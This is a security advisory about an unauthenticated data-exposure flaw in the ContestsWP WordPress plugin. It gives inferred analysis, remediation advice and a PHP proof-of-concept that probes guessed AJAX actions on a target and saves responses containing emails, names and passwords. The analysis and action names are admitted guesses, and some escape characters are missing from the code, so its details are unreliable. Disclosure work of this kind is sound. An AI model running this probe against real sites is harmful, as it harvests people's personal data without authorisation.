Atomic Edge analysis of CVE-2026-25023 (metadata-based):
The ContestsWP plugin (contest-code-checker) version 2.0.7 and earlier contains an unauthenticated information exposure vulnerability. This flaw allows attackers without credentials to extract sensitive data from the WordPress site. The CVSS score of 5.3 (Medium) reflects the network-based attack vector with no authentication requirements and low attack complexity, resulting in confidentiality impact.
Atomic Edge research indicates the root cause likely involves improper access control on a WordPress AJAX endpoint or REST API route. The CWE-200 classification confirms sensitive information reaches an unauthorized actor. Without code analysis, we infer the plugin exposes a data retrieval function that lacks capability checks or proper nonce verification. This inference stems from the WordPress plugin pattern where AJAX handlers registered with both wp_ajax_nopriv_ and wp_ajax_ hooks sometimes omit user permission validation.
Exploitation involves sending HTTP requests to the plugin’s AJAX endpoint. Attackers target /wp-admin/admin-ajax.php with the action parameter containing a plugin-specific hook. Based on the plugin slug ‘contest-code-checker’, probable action values include ‘contest_code_checker_get_data’, ‘contestwp_get_info’, or similar variations. The request may require additional parameters like ‘contest_id’ or ‘user_id’ to specify which data to retrieve. No authentication cookies or nonce tokens are needed.
Remediation requires implementing proper authorization checks. The patched version 2.1.1 likely added capability checks using current_user_can() or similar WordPress functions. Developers should verify users have appropriate permissions before returning sensitive data. AJAX handlers registered with wp_ajax_nopriv_ should either be removed or include robust nonce verification and user role validation.
Successful exploitation exposes sensitive user or configuration data. Attackers can harvest personally identifiable information, email addresses, contest entries, or plugin configuration details. This data could facilitate further attacks like phishing campaigns or targeted exploits. While the vulnerability does not directly enable privilege escalation or remote code execution, the exposed information may help attackers plan subsequent intrusion attempts.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25023 - Run Contests, Raffles, and Giveaways with ContestsWP <= 2.0.7 - Unauthenticated Information Exposure
<?php
$target_url = 'https://example.com';
// Common AJAX action patterns for the ContestsWP plugin
$possible_actions = [
'contest_code_checker_get_data',
'contestwp_get_info',
'contestwp_get_users',
'contestwp_get_entries',
'contestwp_get_settings',
'contestwp_export_data',
'contestwp_ajax_handler'
];
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
$post_fields = [
'action' => $action,
// Common parameters that might trigger data exposure
'contest_id' => '1',
'user_id' => '1',
'export' => 'true',
'type' => 'all'
];
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_fields),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => [
'User-Agent: Atomic Edge Research PoC',
'Accept: application/json, text/plain, */*',
'Content-Type: application/x-www-form-urlencoded'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "n[+] Testing action: {$action}n";
echo "HTTP Status: {$http_code}n";
if ($http_code == 200 && !empty($response)) {
// Check if response contains potentially sensitive data
$sensitive_patterns = [
'/email/i',
'/@.*\./',
'/user.*name/i',
'/first.*name|last.*name/i',
'/phone|mobile/i',
'/address/i',
'/password/i',
'/"data":/',
'/"users":/',
'/"entries":/'
];
$matches_found = false;
foreach ($sensitive_patterns as $pattern) {
if (preg_match($pattern, $response)) {
$matches_found = true;
break;
}
}
if ($matches_found) {
echo "POTENTIAL VULNERABILITY DETECTED!n";
echo "Response preview (first 500 chars): " . substr($response, 0, 500) . "n";
echo "Full response saved to response_{$action}.txtn";
file_put_contents("response_{$action}.txt", $response);
} else {
echo "Response received but no obvious sensitive data patterns detected.n";
}
} else {
echo "No response or empty response.n";
}
curl_close($ch);
sleep(1); // Rate limiting
}
?>
